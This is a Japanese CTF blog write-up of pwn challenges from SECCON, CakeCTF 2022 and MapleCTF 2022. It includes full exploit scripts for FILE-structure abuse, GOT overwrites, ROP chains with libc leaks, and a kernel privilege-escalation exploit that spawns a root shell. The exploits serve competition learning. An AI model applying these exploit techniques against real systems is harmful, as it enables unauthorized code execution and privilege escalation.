Trick\n" "0. Exit\n" "> "); return getint(); } static int getnline(char *buf, int size){ int len; if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0) return -1; if(buf[len-1]=='\n') len--; buf[len] = '\0'; return len; } static int getint(void){ char buf[0x10] = {}; getnline(buf, sizeof(buf)); return atoi(buf); }
シンプルだけど…fflushだけでシェル取れるのか?という壮大なテーマ。
ubuntu@ubuntu:~/ctf/babyfile/babyfile$ ./chall Play with FILE structure MENU 1. Flush 2. Trick 0. Exit > 1 Done. MENU 1. Flush 2. Trick 0. Exit > 2 offset: 123 value: 456 Done. MENU 1. Flush 2. Trick 0. Exit
何故かPIE無効って出るけど、ちゃんとPIE有効。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
ずーっとfflushのコードを眺めながら、黒魔術連発で解いた。
まずleakについて。leakのほうが簡単だと思う。
leakするためには、_IO_write_ptrを_IO_write_baseより先に進めておけばいいのは有名な話なので、とりあえずFILE構造体を眺めてみよう。
pwndbg> p *((struct _IO_FILE_plus *)0x5555555592a0) $1 = { file = { _flags = -72539000, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x1555554f26a0 <_IO_2_1_stderr_>, _fileno = 3, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x555555559380, _offset = -1, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x1555554ee600 <_IO_file_jumps> }
全部0じゃん。
しかもPIE有効だから、勝手に埋めることもできない。
うまい具合に、アドレスを入れるにはどうすればいいのか考える。
fflushは、fflush -> __sflush -> _IO_SYNC という経路で関数が呼ばれている。
_IO_SYNCは、vtableからのオフセットで引っ張られる関数。
したがってvtableの関数を上書きしてずらすことで、下記の関数の好きなやつを呼ぶことができる。
pwndbg> p *((struct _IO_jump_t *) 0x1555554ee600) $2 = { __dummy = 0, __dummy2 = 0, __finish = 0x155555364070 <_IO_new_file_finish>, __overflow = 0x155555364e40 <_IO_new_file_overflow>, __underflow = 0x155555364b30 <_IO_new_file_underflow>, __uflow = 0x155555365de0 <__GI__IO_default_uflow>, __pbackfail = 0x155555367300 <__GI__IO_default_pbackfail>, __xsputn = 0x155555363680 <_IO_new_file_xsputn>, __xsgetn = 0x155555363330 <__GI__IO_file_xsgetn>, __seekoff = 0x155555362960 <_IO_new_file_seekoff>, __seekpos = 0x155555366530 <_IO_default_seekpos>, __setbuf = 0x155555362620 <_IO_new_file_setbuf>, __sync = 0x1555553624b0 <_IO_new_file_sync>, __doallocate = 0x155555356b90 <__GI__IO_file_doallocate>, __read = 0x1555553639b0 <__GI__IO_file_read>, __write = 0x155555362f40 <_IO_new_file_write>, __seek = 0x1555553626f0 <__GI__IO_file_seek>, __close = 0x155555362610 <__GI__IO_file_close>, __stat = 0x155555362f30 <__GI__IO_file_stat>, __showmanyc = 0x1555553674a0 <_IO_default_showmanyc>, __imbue = 0x1555553674b0 <_IO_default_imbue> }
色々いじると__doallocateを呼んだ後に、__underflowを呼ぶと、下記のように、
heapのアドレスが入って、いい感じになる。
gdb-peda$ p *((struct _IO_FILE_plus *) 0x56427f01b2a0) $1 = { file = { _flags = 0xfbad2088, _IO_read_ptr = 0x56427f01b480 "", _IO_read_end = 0x56427f01b480 "", _IO_read_base = 0x56427f01b480 "", _IO_write_base = 0x56427f01b480 "", _IO_write_ptr = 0x56427f01b480 "", _IO_write_end = 0x56427f01d480 "", _IO_buf_base = 0x56427f01b480 "", _IO_buf_end = 0x56427f01d480 "", _IO_save_base = 0x56427f01b480 "", _IO_backup_base = 0x56427f01d510 "", _IO_save_end = 0x56427f01b480 "", _markers = 0x0, _chain = 0x7f6a7e2fb5c0 <_IO_2_1_stderr_>, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x56427f01b380, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f6a7e2f74b0 <_IO_file_jumps+16> }
さて、次にfflushを_IO_write_ptr、_IO_write_base, _IO_read_endの下位2バイトを変えて
heap領域の初めのほうから出力するようにする。(コードを見ながら追わないと不可能。)
heap領域には、heapアドレスとlibcアドレスが含まれているので、leakすることができる。
が、当然ASLRが有効なので、アドレス変えながら16パターンやる必要がある。
うまくリーク出来たら、次は、fflushを使って、__free_hookにsystemを書き込むことを考えよう。
['0x2e656e6f44'] ['0x55b4bc5e2480', '0x55b4bc5e2480', '0x55b4bc5efe80', '0x55b4bc5e4480', '0x55b4bc5e2480', '0x55b4bc5e4480', '0x55b4bc5e2480', '0x55b4bc5e4510', '0x55b4bc5e2480', '0x7fa89316e5c0', '0x55b4bc5e2380', '0xffffffffffffffff', '0x7fa89316a4a0', '0x7fa893174580', '0x7fa893169f60', '0x2e656e6f44'] [*] heap leak:0x55b4bc5e2000 libc_leak:0x7fa892f81000 [*] Switching to interactive mode Done.
むしろここが難しかった。
結論からいうとvtable書き換えて __finishを呼べばできる。
「そんな回りくどいことしないで、__xsgetnとか__readとか使えよw」って思うかもしれないが、これはうまくいかないと思う。
なぜならば、libc2.31では、vtable範囲チェックが走った直後に、ここら辺の関数に飛ばされるのだが、
このvtable範囲チェックで使われた値がRSIに入っていて、うまく引数をいい感じに設定できない。
なので、なんかの関数を経由して関数を呼ぶ必要がある。と思う。
あと、重要、というか苦しんだのはvtableをずらしているから、関数を飛ばした先でもずれたvtableを使い続けるので意図した関数に飛ばない。地獄である。
さて、__finishを呼ぶと下記のように動かすことができるパスが存在する。
(当たり前だが、flagとかをうまく設定して、いらない関数に入らないように調整する必要がある)
__finish -> _IO_do_flush (実質_IO_do_write/_IO_wdo_write) -> _IO_SYSWRITE (vtableがずれてるから_uflowが呼ばれる)
-> _IO_SYSCLOSE (vtableがずれてるから__xsputnが呼ばれる) -> memcpy
-> _IO_default_finish -> free
_IO_do_writeの中で、うまくほかの関数を潜り抜けると、FILE構造体のポイントが、いい感じになってくれる。そのあとに__xsputnを呼ぶことで、ようやくAAWが実現できた。
__xsputnの中には、memcpyを呼ぶ部分がある。このmemcpyを用いて、heapの中に事前に書き込んでおいたlibc systemのアドレスを、__free_hookに転記している。
そして、__finishで_IO_SYSCLOSEが終わった後に呼ばれる_IO_default_finishでfreeを呼んでいるので、__free_hook経由でlibc systemが実行される。
※:_IO_SYSWRITE (vtableがずれてるから_uflowが呼ばれる)は_uflowが呼ばれる。_uflowの中で何かが呼ばれて(忘れたw)
*_IO_write_baseに値を代入してしまうが、flagをうまく書き換えることでバイパスできる。
下記がコードだが、複雑になりすぎた。結構連発しないと動かないと思う。
あと、通信レイテンシのせいで時間切れで回らなったので、AWSに東京インスタンスを作って回した。
しかし、こういう事情を加味して競技時間中に30秒 -> 60秒にアラームが変更されていたし、ちゃんとアナウンスされていた。
つまり、私の解法がクソだったのである。
from pwn import * elf=ELF("/home/ubuntu/ctf/babyfile/babyfile/chall") libc=ELF("/home/ubuntu/ctf/babyfile/babyfile/libc-2.31.so") #p=process("/home/ubuntu/ctf/babyfile/babyfile/chall" # , aslr=True # ,env={"LD_PRELOAD" : "/home/ubuntu/ctf/babyfile/babyfile/libc-2.31.so"} ) p=remote("babyfile.seccon.games",3157) #gdb.attach(p) def flush(): p.sendlineafter(">", "1") return def trick(offset, value): p.sendlineafter(">", "2") p.sendlineafter("offset:", str(offset)) p.sendlineafter("value:", str(value)) return _IO_read_ptr = 0x8 _IO_read_end = 0x10 _IO_read_base = 0x18 _IO_write_base = 0x20 _IO_write_ptr = 0x28 _IO_write_end = 0x30 _IO_buf_base = 0x38 _IO_buf_end = 0x40 _IO_save_base=0x48 _fileno=0x70 _mode=0xc0 vtable = 0xd8 free_speace=0xe0 # at first we would like to set something in __IO_read_base # in order to do so, I want to call __do_allocate_buffer trick(0, 0x88) trick(1, 0x20) trick(_mode, 0x1) trick(_IO_write_base, 0x100) trick(_IO_read_ptr , 0x100) trick(_fileno, 0x00) trick(vtable, 0xa8) flush() # avoid _IO_doallocbuf and call _IO_underflow to set read_base trick(_IO_write_base, 0xff) trick(vtable, 0x60) flush() def getheap(base): trick(vtable, 0xa0) trick(_mode, 0x0) trick(_IO_write_ptr+0x1, 0xfe) trick(_IO_write_base, 0x00) trick(_IO_write_base+1, base) ## difficult trick(_IO_read_end, 0x00) trick(_IO_read_end+1, base) ## difficult trick(_fileno, 0x01) trick(0, 0x84) trick(1, 0x20) flush() tmp=[u64(i.strip().ljust(8, b"\x00")) for i in p.recvline().split(b"\x00") if len(i)>5] #print(hexdump(p.readline())) print([hex(i) for i in tmp]) return tmp # blute force to get heap/libc leak for i in range(16): tmp=getheap(i*0x10) if len(tmp)>2: break heap_leak=tmp[0]-0x480 libc_leak=tmp[len(tmp)-2]-0x1e8f60 log.info("heap leak:" + hex(heap_leak) + " libc_leak:"+hex(libc_leak)) # use finish to call puts with appropriate argument # arbitrage RRW from _IO_write_base -> read_base addr_system=libc_leak+libc.symbols["system"] trick(0, 0x18) trick(1, 0x90) trick(_fileno, 0x04) trick(vtable, 0x50) trick(_mode, 0x0) trick(_IO_read_end, 0xF) # set system address free_space target=addr_system for i in range(8): low=target%0x100 target = target / 0x100 trick(free_speace+i,low) # set binsh target=0x68732f6e69622f for i in range(8): low=target%0x100 target = target / 0x100 trick(free_speace+8+i,low) # this will be argument when we call free target = heap_leak+0x388 for i in range(8): low = target % 0x100 target = target / 0x100 trick(_IO_save_base + i, low) # target FROM target=heap_leak+0x380 for i in range(8): low=target%0x100 target = target / 0x100 trick(_IO_write_base+i,low) # target TO target=libc_leak+libc.symbols["__free_hook"] for i in range(8): low=target%0x100 target = target / 0x100 trick(_IO_buf_base+i,low) # target TO target=libc_leak+libc.symbols["__free_hook"]+0x20 for i in range(8): low=target%0x100 target = target / 0x100 trick(_IO_buf_end+i,low) flush() p.interactive()
CakeCTF 2022 Writeup
Cake CTF 2022にsh -a ./chikuで参加しました。チームメンバーの皆さん、お疲れ様でした
pwn は4問あって、3問は開催中に、1問(crc32pwn)は開催後に解きました。
デザイン、問題の質、運営すべて最高品質で、素晴らしいイベントでした。
やっぱり最近簡単な問題しか解けないし、自分自身の成長が止まっている気がします。
ここ3年くらい、最近新しいものを見ても聞いても何も頭に入ってこないです。終わりです。
Cake MemoryもRound4が解けませんでした。Round2も結構間違えるので、Round3あたりから緊張感がすごかったです。しばらくCake Memoryで脳を鍛えようと思います。
私は、CTFを技術的な知的好奇心とかよりも、問題が解けたときの脳内麻薬だけを追い求めてる気がします。
脳内麻薬ジャンキーなのかもしれません。
str.vs.cstr (88 solve)
C++の問題。
1. set c_str 2. get c_str 3. set str 4. get str choice: 1 c_str: AAAAAAAAA choice: 3 str: BBBBBBBBB
正直、strとcstrの違いは詳しくわからなかったが、
いくつか試してて、本問においては下記のことが分かった。
strは短ければ文字列自体はstackにとられるようだが、
長い文字だと文字列はheap内にとられて、スタックにポインタが保存されている。
c_strは、stack内に文字列自体がとられる。
下記はstrを長めに書き込んだ後stackに残っていた情報
pwndbg> tel 0x7fffffffde30 00:0000│ 0x7fffffffde30 —▸ 0x416fc0 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC' 01:0008│ 0x7fffffffde38 ◂— 0x92
0x416fc0 はheap内の文字列そのものが保存されている領域。
stack内にはポインタが残っている。
つまり、strで長めに書き込むことで、スタック内にポインタを作り、
c_strでstack内でBoFすれば、次のstrへの処理で
任意のアドレスへの書き込み、読み込みができる。
あとは
PIEも無効、Partial RELROなので、GOT Overwriteする。
pwndbg> checksec [*] '/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@got.plt
を書き換えたが、これはdemanglingしたところ、
std::basic_ostream
だったようだ。
一回目に、大きめにstrをやって、stack内にpointerを作る。
c_strでポインタを上書きする。
from pwn import * elf=ELF("/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall") #p=process("/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall" # , aslr=True) p=remote("pwn1.2022.cakectf.com",9003) #gdb.attach(p) p.sendlineafter("choice:", str(3)) p.sendlineafter("str:", cyclic(0x30)) p.sendlineafter("choice:", str(1)) p.sendlineafter("c_str:",cyclic(0x20)+p64(0x404048)) p.sendlineafter("choice:", str(3)) p.sendlineafter("str:", p64(0x4016de)) p.interactive()
welkerme (75 solve)
初心者向けKernel Exploitの問題。
脆弱性は自明で、ioctlで任意のコードがカーネル空間で実行できる。
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { long (*code)(void); printk("'module_ioctl' called with cmd=0x%08x\n", cmd); switch (cmd) { case CMD_ECHO: printk("CMD_ECHO: arg=0x%016lx\n", arg); return arg; case CMD_EXEC: printk("CMD_EXEC: arg=0x%016lx\n", arg); code = (long (*)(void))(arg); return code(); default: return -EINVAL; } }
かつ、下記appendを見ればわかる通り、SMAPもSMEPもKPTIもKASLRもない。
#!/bin/sh exec qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel vm/bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \ -no-reboot \ -cpu qemu64 \ -monitor /dev/null \ -initrd vm/rootfs.cpio \ -net nic,model=virtio \ -net user
したがって、KROPとかも不要、KPTI trampolineもいらないし、
commit_creds(prepare_kernel_cred(NULL)); を実行して、そのままシェルを開くだけでいい。
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define CMD_ECHO 0xc0de0001 #define CMD_EXEC 0xc0de0002 void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; int func(void) { prepare_kernel_cred = 0xffffffff810726e0; commit_creds = 0xffffffff81072540; commit_creds(prepare_kernel_cred(NULL)); return 31337; } int main(void) { int fd, ret; if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { perror("/dev/welkerme"); exit(1); } // ret = ioctl(fd, CMD_ECHO, 12345); // printf("CMD_ECHO(12345) --> %d\n", ret); ret = ioctl(fd, CMD_EXEC, (long)func); printf("CMD_EXEC(func) --> %d\n", ret); execl("/bin/sh", "sh", NULL); close(fd); return 0; }
躓きやすいところでいうと、 prepare_kernel_cred とcommit_creds だが、
この問題においては、これはVMを起動した後、中でコマンドをたたけばわかる。
/ # cat /proc/kallsyms | grep prepare_kernel_cred ffffffff810726e0 T prepare_kernel_cred / # cat /proc/kallsyms | grep commit_creds ffffffff81072540 T commit_creds
これは私の今年の目標が半分達成したといっていいのだろうか。ダメな気もする。
あけましておめでとうございます。今年は、CTFで1桁solveの問題を解くこととkernelか browserの問題を開催時間中に解くことが目標です。
— ec (@ec76237290) December 31, 2021
本問は細かめのノウハウ、例えば、debugするために-gdb tcp::12345 を付けたり、
- staticを付けてコンパイルしたり、というところが
丁寧、かつ再利用可能な形で全てファイルに書いてあって、
インストラクションとしても、今後のツールとしても最高の問題なので、
2枚印刷して、それぞれ神棚と仏壇に飾っておこう。
exploit: exploit.c gcc exploit.c -o exploit -static run: exploit # clean up rm -rf vm/mount mkdir -p vm/mount # copy exploit cd vm/mount; cpio -idv < ../rootfs.cpio cp exploit vm/mount/exploit cd vm/mount; find . -print0 \ | cpio -o --null --format=newc --owner root > ../rootfs.cpio # run qemu ./run.sh debug: exploit vm/mount # clean up rm -rf vm/mount mkdir -p vm/mount # copy exploit cd vm/mount; cpio -idv < ../debugfs.cpio cp exploit vm/mount/exploit cd vm/mount; find . -print0 \ | cpio -o --null --format=newc --owner root > ../debugfs.cpio # run qemu (debug port: 12345) ./debug.sh
smal arey (42 solve)
Second Bloodだったけど、最終的にたくさん解かれてた問題。
size: 4 index: 3 value: 3735928559
例えばsize=4の時はindex=4を指定すれば、indexを上書きできてしまう。
(3735928559 = 0xdeadbeef)
0x7fffffffde50: 0x0000000000000003 0x00000000deadbeef 0x7fffffffde60: 0x0000000000000004 0x0000000000000003
そうすることで、実質任意のスタックのアドレスを書き込めてしまう。
なんだ、楽勝じゃん!って思うが、ここからが長かった。
0x7fffffffde50より下には、書き換えてもRIPをとれるアドレスがない。
基本的にexitしてしまうので、returnすることはない。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define ARRAY_SIZE(n) (n * sizeof(long)) #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1)) int main() { long size, index, *arr; printf("size: "); if (scanf("%ld", &size) != 1 || size < 0 || size > 5) exit(0); arr = ARRAY_NEW(size); while (1) { printf("index: "); if (scanf("%ld", &index) != 1 || index < 0 || index >= size) exit(0); printf("value: "); scanf("%ld", &arr[index]); } } __attribute__((constructor)) void setup(void) { alarm(180); setbuf(stdin, NULL); setbuf(stdout, NULL); }
rtld_globalを書き換えたりもしたけど、なぜかRIPに影響がなかった。(なぜ?)
ということで悩んでいたけど、indexをめちゃでかい形にして、メモリアドレスを一周して
スタックの上の方の書きかえればいいのではと思った。
書き換え前
pwndbg> tel 0x7fffffffdd80 10 00:0000│ 0x7fffffffdd80 ◂— 0x0 01:0008│ 0x7fffffffdd88 —▸ 0x4012d2 (main+284) ◂— cmp eax, 1 02:0010│ 0x7fffffffdd90 ◂— 0x0 03:0018│ 0x7fffffffdd98 —▸ 0x1555555552e0 ◂— 0x0 04:0020│ 0x7fffffffdda0 ◂— 0x3 05:0028│ 0x7fffffffdda8 —▸ 0x4011fa (main+68) ◂— cmp eax, 1 06:0030│ 0x7fffffffddb0 ◂— 0xdeadbeef 07:0038│ 0x7fffffffddb8 ◂— 0x4 08:0040│ 0x7fffffffddc0 —▸ 0x7fffffffdd90 ◂— 0x0 09:0048│ 0x7fffffffddc8 ◂— 0x6101b7256f1f1700
書き換え後
pwndbg> tel 0x7fffffffdd80 10 00:0000│ 0x7fffffffdd80 ◂— 0x0 01:0008│ 0x7fffffffdd88 ◂— 0xdeadbeef 02:0010│ rsp 0x7fffffffdd90 ◂— 0x0 03:0018│ 0x7fffffffdd98 —▸ 0x1555555552e0 ◂— 0x0 04:0020│ 0x7fffffffdda0 ◂— 0x3 05:0028│ 0x7fffffffdda8 —▸ 0x4011fa (main+68) ◂— cmp eax, 1 06:0030│ 0x7fffffffddb0 ◂— 0x7fffffffffffffff 07:0038│ 0x7fffffffddb8 ◂— 0x1fffffffffffffff 08:0040│ 0x7fffffffddc0 —▸ 0x7fffffffdd90 ◂— 0x0 09:0048│ 0x7fffffffddc8 —▸ 0x4013e3 (__libc_csu_init+99) ◂— pop rdi
これでEIPは取れたので、gadget使ってROPする。
from pwn import * elf=ELF("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/chall") libc=ELF("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/libc-2.31.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") #p=process("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/chall" # , aslr=False) p=remote("pwn1.2022.cakectf.com",9002) #gdb.attach(p) # AAW in stack ret=0x0040101a pop_rdi=0x004013e3 pop_rsi_r15=0x004013e1 pop_rbp=0x0040119d p.sendlineafter("size:", str(5)) p.sendlineafter("index:", str(4)) p.sendlineafter("value:", str(0xdeadbeef)) # ROP code p.sendlineafter("index:", str(7)) p.sendlineafter("value:", str(pop_rdi)) p.sendlineafter("index:", str(8)) p.sendlineafter("value:", str(elf.got["printf"])) p.sendlineafter("index:", str(9)) p.sendlineafter("value:", str(pop_rbp)) p.sendlineafter("index:", str(10)) p.sendlineafter("value:", str(0x404000)) p.sendlineafter("index:", str(11)) p.sendlineafter("value:", str(ret)) p.sendlineafter("index:", str(12)) p.sendlineafter("value:", str(elf.plt["printf"])) p.sendlineafter("index:", str(13)) p.sendlineafter("value:", str(ret)) p.sendlineafter("index:", str(14)) p.sendlineafter("value:", str(elf.symbols["main"])) p.sendlineafter("index:", str(4)) p.sendlineafter("value:", str(0xffffffffffffffff)) p.sendlineafter("index:", str(0x1fffffffffffffff)) p.sendlineafter("value:", str(0x004013d6)) print(hexdump(p.recv(timeout=1))) libc_base=u64(p.recv()[:6]+b"\x00\x00") - libc.symbols["printf"] log.info("libc_base is "+hex(libc_base)) # libc one_gadget p.sendline(str(5)) # over write p.sendlineafter("index:", str(4)) p.sendlineafter("value:", str(0xdeadbeef)) one_gadget=0xe3b04 p.sendlineafter("index:", str(4)) p.sendlineafter("value:", str(0xffffffffffffffff)) p.sendlineafter("index:", str(0x1fffffffffffffff)) p.sendlineafter("value:", str(libc_base+one_gadget)) p.interactive()
crc32pwn (8 solve)
脆弱性が見つからなかった。
fstatは条件によってはRace Conditionを起こすことがあるらしいが、今回は別になさそうに見えた。
コードをみた思ったのが、stbuf.st_sizeをバグらせればよさそうだなぁと思っていたものの、
そんなファイルを作ることができませんでした。おわり。
もちろん自分では復習するのですが、ほかの方のWriteUpの以上に付加価値は出せなさそうなので書かないでおきます。
その他miscのc_sandboxに着手して、GOT上書きすれば行けそうだなーと思ったのですが、手元でコンパイルするとアドレスがずれるので諦めました。docker内でやればいいのか。そらそうかだわな。
Cake_memoryは、人力でround4をクリアできずに詰みました。heapとにらめっこしてたけど、どうしてもアドレスを見つけられなかった。。。
MapleCTF 2022 Writeup
Maple CTF 2022に参加しました。pwn は6問あって、3問は開催中に、1問(printf)は開催後に解きました。
気のせいでしょうが、デザインが懐かしのメイプルストーリーっぽい感じがして嬉しかったです。
最近、簡単な問題ばかり解いているだけのような気がします。
簡単な問題だけ解いて、満足して終わり、これでは強くなりません。
スライム倒して300年、知らないうちにレベルMAXになってましたなんて言葉がありますが、CTFはそんなに甘くないですね。
雑魚を狩る速度が上がるだけなので、ちゃんと復習しましょう。
warmup1 (190 solve)
ただのBoF。win関数もある。
ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/warmup1$ ./chal AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
けどPIE有効。
pwndbg> checksec RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 72) Symbols No 0 1 /home/ubuntu/ctf/maplectf/warmup1/chal
PIE有効な時は、proc baseをleakするか、partial overwriteが定石。
これはpartial overwirte。でwinに飛ばすだけ。
from pwn import * elf=ELF("/home/ubuntu/ctf/maplectf/warmup1/chal") p=remote("warmup1.ctf.maplebacon.org",1337) #gdb.attach(p) p.send(cyclic(24)+b"\x19") p.interactive()
warmup2 (190 solve)
ただのBoF。win関数もある。
ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/warmup2$ ./chal What's your name? AAAAAAAAAAAA Hello AAAAAAAAAAAA ! How old are you? BBBBBBBBBBBBBBBBBBBBBBB Wow, I'm BBBBBBBBBBBBBBBBBBBBBBB too!
けどやっぱりPIE有効。やめてくれ。
pwndbg> checksec RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 73) Symbols No 0 2 /home/ubuntu/ctf/maplectf/warmup2/chal
ところで、gdbでASLR切ってdebugしてたら変な値になってたんですけど、私だけですかね?
2回書き込めるのがポイント。一回目でcanaryのleakができる。
おまけにスタックもリークできる。
libcのleakもしないといけない。
しかも、libcは配布されてない。こういう場合はlibcのバージョンを特定する必要がある。
libcのバージョンを特定するには、下記のサイトが定石だけど
https://libc.blukat.me/
出てこなかった。古いのかな?
https://libc.rip/
こっちだと出てきた。
Results
libc6-amd64_2.28-0ubuntu1_i386
libc6_2.31-0ubuntu9.8_amd64
libc6_2.31-0ubuntu9.9_amd64
まあ、多分 libc6_2.31-0ubuntu9.9_amd64 だろう。
from pwn import * elf=ELF("/home/ubuntu/ctf/maplectf/warmup2/chal") p=remote("warmup2.ctf.maplebacon.org",1337) #gdb.attach(p) p.sendafter("What's your name?",cyclic(0x108)+b"\x41") print(hexdump(p.recvline())) p.recv(0x10f) canary=u64(b"\x00"+p.recv(7)) log.info("canary is " + hex(canary)) stack_leak=u64(p.recv(6)+b"\x00\x00") log.info("stack is " + hex(stack_leak)) p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)+b"\xd8") # leak proc base p.sendafter("What's your name?",cyclic(0x118)) print(hexdump(p.recvline())) p.recv(0x11e) proc_base=u64(p.recv(6)+b"\x00\x00")-0x12e2 log.info("proc_base is " + hex(proc_base)) # leak libc pop_rdi=proc_base+0x00001353 got_puts=proc_base+elf.got["__stack_chk_fail"] # 0x7f497c08da70 plt_puts=proc_base+elf.plt["puts"] ret=proc_base+0x0000101a p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead) +p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+p64(ret)+p64(proc_base+0x12d8)) p.recvline() p.recvline() libc_base=u64(p.recv(6)+b"\x00\x00") - 0x12fa70 log.info("libc_base is " + hex(libc_base)) # go to libc one_gadget system=0x52290 binsh=stack_leak+0x38 p.sendafter("What's your name?",cyclic(0x10)) p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc_base+system)+"/bin/sh".encode()+b"\x00") p.interactive()
no flag 4 u (38 solve)
個人的には、warmup2のほうがこれより難しかった。
ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/noflag4u$ ./chal 1 : Create page 2 : Edit page 3 : Print page 4 : Delete page 5 : Exit
PIE無効。やったね。
pwndbg> checksec [*] '/home/ubuntu/ctf/maplectf/noflag4u/chal' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
よくわからないが、libcみたいのが一緒に配布されていて、一部の関数が上書きされているようだ。
1 : Create page 2 : Edit page 3 : Print page 4 : Delete page 5 : Exit 1 index: 0 size: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA thread '<unnamed>' panicked at 'buffer overflow', src/preload_hooks/gets.rs:35:9 note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
メモの管理ツールだが、メモが珍しくスタックの中でポインタがあって管理されている。
メモのindexは領域外読み込みがある。
ということで、stack pivotで終わり。
create_page内でrbpを書き換え、mainから出るときに
rbpがrspに渡されてstack pivotできる。
おまけにwin関数もある
from pwn import * import math elf=ELF("/home/ubuntu/ctf/maplectf/noflag4u/chal") libc=ELF("/home/ubuntu/ctf/maplectf/noflag4u/libno_flag_4_u.so") p=remote("no-flag-4-u.ctf.maplebacon.org",1337) #gdb.attach(p) def create(index, size, content): p.sendlineafter("5 : Exit","1") p.sendlineafter("index:",str(index)) p.sendlineafter("size:",str(size)) p.sendlineafter("content:",content) return def edit(index, content): p.sendlineafter("5 : Exit","2") p.sendlineafter("index:",str(index)) p.sendlineafter("content:",content) return def print(index): p.sendlineafter("5 : Exit","3") p.sendlineafter("index:",str(index)) return p.recvline() def delete(index): p.sendlineafter("5 : Exit","4") p.sendlineafter("index:",str(index)) return create(-2, 0x108, p64(0)+p64(elf.symbols["win"])) p.sendlineafter("5 : Exit","5") p.interactive()
printf (25 solve)
解けなかった。libc使って解くと楽なのだがlibcが配られていなかった。で、
どうやらwarmup2と同じlibcだった?ようだが、そこまでのメタ読みをしたら負けだよ…
終了後にすぐ環境が使えなくなってしまったので、私の手元の環境、libc2.35で解いている。
頑張ってスタックピボットしようと思っていたが、面倒でやめてしまった。
ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/printf$ ./chal %p %p %p 0x7fd2d1e7eb23 0xfbad208b 0x7fd2d1d79992
実行すると一回だけ読み込めて、FSBがある。
pwndbg> checksec [*] '/home/ubuntu/ctf/maplectf/printf/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
またPIE有効かよ。勘弁してくれ。
